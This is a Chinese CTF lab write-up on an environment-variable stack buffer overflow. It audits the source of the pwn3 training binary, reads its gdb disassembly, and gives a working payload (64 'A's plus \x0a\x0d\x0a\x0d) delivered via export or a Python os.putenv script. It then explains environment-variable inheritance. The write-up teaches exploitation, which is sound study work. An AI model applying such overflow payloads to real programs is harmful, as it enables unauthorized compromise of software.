CTF | PWN练习之环境变量继承

实验描述:

       主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。

      请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。

实验目的:

学习环境变量的基本知识,掌握修改进程环境变量参数的方法,明白父子进程之间默认拥有相同的环境变量参数,通过精心构造环境变量数据来修改内存内容,使得modified变量的值为我们所掌控。

实验步骤:

1、源码审计

在终端进入目录 /home/test/3,执行cat pwn3.c程序可看到源码:

程序通过getenv()函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,在这里可以引发缓冲区溢出。

当设置超过缓冲区长度的环境变量参数时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖掉modified的变量。

2、使用gdb调试程序

执行gdb pwn3对pwn3开始调试,输入disas main,查看main函数的汇编代码:

关键汇编代码解释:

 ......

0x0804848d<+9>:     movl   $0x80485d4,(%esp)

; 调用getenv获取环境变量HEETIAN的值

0x08048494<+16>:call    0x8048364<getenv@plt>

; 将结果保存到variable变量,即[esp+0x5c]

0x08048499<+21>:mov    %eax,0x5c(%esp)

; 判断返回结果是否为NULL

0x0804849d<+25>:    cmpl   $0x0,0x5c(%esp)

0x080484a2<+30>:jne     0x80484bc<main+56>

   ......

; 初始化modified变量的值为0,位于[esp+0x58]

0x080484bc<+56>:    movl   $0x0,0x58(%esp)

; 调用strcpy对buffer进行填充,位于[esp+0x18]

0x080484c4<+64>:mov   0x5c(%esp),%eax

0x080484c8<+68>:mov    %eax,0x4(%esp)

0x080484cc<+72>:lea     0x18(%esp),%eax

0x080484d0<+76>:mov    %eax,(%esp)

0x080484d3<+79>:call  0x8048384<strcpy@plt>

; 判断modified变量的值是否为0x0d0a0d0a

0x080484d8<+84>:    cmpl   $0xd0a0d0a,0x58(%esp)

   ......

End of assembler dump.

通过分析可知,buffer位于esp+0x18处,modified位于esp +0x58处,两个地址距离0x58-0x18=0x40,即64,正好是buffer数组大小。所以当环境变量HEETIAN的值超过64字节时,modified变量的值就可以被覆盖。合理控制环境变量参数的第65~68字节的内容,就可以发起攻击。

3、发起溢出攻击

目标机器采用的是小端格式存储数据,而if语句分支要求modified值为0xd0a0d0a时才通过判断,所以构造的数据应该为\x0a\x0d\x0a\x0d。

可以通过两种不同的方法来修改环境变量的值。

【1】通过export修改环境变量的值

退出gdb,执行语句:export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' ")

然后执行./pwn3:

【2】通过python脚本动态修改环境变量

在/home/text/3下存在一个pwn3.py的python脚本,执行cat pwn3.py查看源码:

import os

 

defpwn():

    os.putenv("HEETIAN","A"*64+"\x0a\x0d\x0a\x0d")

    os.system("./pwn3")

 

if __name__ =="__main__":

    pwn()

为了排除前面的环境变量的干扰,先修改HEETIAN的的值为AAAA,然后再执行python脚本:

 pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。

实验总结:

1、环境变量参数:在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。 缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。、

扩展的C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。

环境变量的格式为:环境变量名=环境变量值

当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。

2、export [-fnp][环境变量名]=[变量设置值]

 参  数:

-f  代表[变量名称]中为函数名称。

-n  删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中。

-p  列出所有的shell赋予程序的环境变量。

3、Python的os模块提供创建子进程以及修改环境变量的函数,其中os.system函数可以创建一个子进程,且子进程会继承父进程的环境变量参数信息;os.putenv可以修改进程的环境变量参数信息。

4、除了通过export添加环境变量以外,还可以通过函数getenv、putenv、setenv等对环境变量进行操作。

putenv():定义函数 int putenv(const char * string);
函数说明:用来改变或增加环境变量的内容。参数string的格式为name=value,如果该环境变量原先存在,则变量内容会依参数string改变,否则此参数内容会成为新的环境变量。
返回值:执行成功则返回0,有错误发生则返回-1。

 setenv():定义函数 int setenv(const char *name,const char * value,int overwrite);
 函数说明 setenv()用来改变或增加环境变量的内容。参数 name为环境变量名称字符串,参数 value则为变量内容,参数 overwrite用来决定是否要改变已存在的环境变量。如果overwrite不为0,则改变环境变量原有内容,原有内容会被改为参数value所指的变量内容。如果overwrite为0,且该环境变量已有内容,则参数value会被忽略。
返回值 执行成功则返回0,有错误发生时返回-1。

5、 Linux Shell中,可以使用$()或者两个反引号(`)来包裹一条shell命令,并返回shell命令的执行结果。

比如上面实验也可执行export HEETIAN=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' "`命令。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值